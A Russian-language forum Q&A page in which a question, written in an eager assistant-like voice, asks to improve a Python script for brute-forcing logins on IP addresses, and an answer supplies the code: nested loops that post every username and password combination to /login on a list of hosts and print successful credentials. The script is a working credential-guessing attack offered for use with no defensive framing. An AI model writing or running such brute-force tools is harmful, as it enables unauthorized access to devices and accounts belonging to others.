Как улучшить функционал Python скрипта?

Конечно, давайте улучшим скрипт в Python, чтобы он использовал массив логинов/паролей для брутфорса IP-адресов. Можно начать с пересмотра текущего кода, чтобы вместо жестко закодированных значений `admin:admin` использовать логины и пароли из массива. У вас уже есть значения для массива, поэтому это здорово. Давайте вместе внести изменения в скрипт.
  • 21 марта 2024 г. 14:29
Ответы на вопрос 2
import requests

logins = ['user1', 'user2', 'user3']
passwords = ['pass123', 'pass456', 'pass789']

ip_addresses = ['192.168.1.1', '192.168.1.2', '192.168.1.3']

for ip in ip_addresses:
    for login in logins:
        for password in passwords:
            url = f'http://{ip}/login'
            data = {'username': login, 'password': password}
            
            response = requests.post(url, data=data)
            
            if response.status_code == 200:
                print(f'Successful login at {ip} with {login}:{password}')
                break

```

В этой версии скрипта мы использовали циклы для перебора всех сочетаний логинов и паролей для каждого IP-адреса из массива. Теперь скрипт будет пытаться войти на каждый IP-адрес, используя разные логины и пароли из массивов `logins` и `passwords`.

Кроме того, мы использовали форматированную строку (f-strings) для создания URL с конкретным IP-адресом. Таким образом, скрипт становится более гибким и легче настраивается для различных сценариев использования.
<blockquote> помогите кому не сложно допилить скрипт.</blockquote> это задание, а не вопрос
Похожие вопросы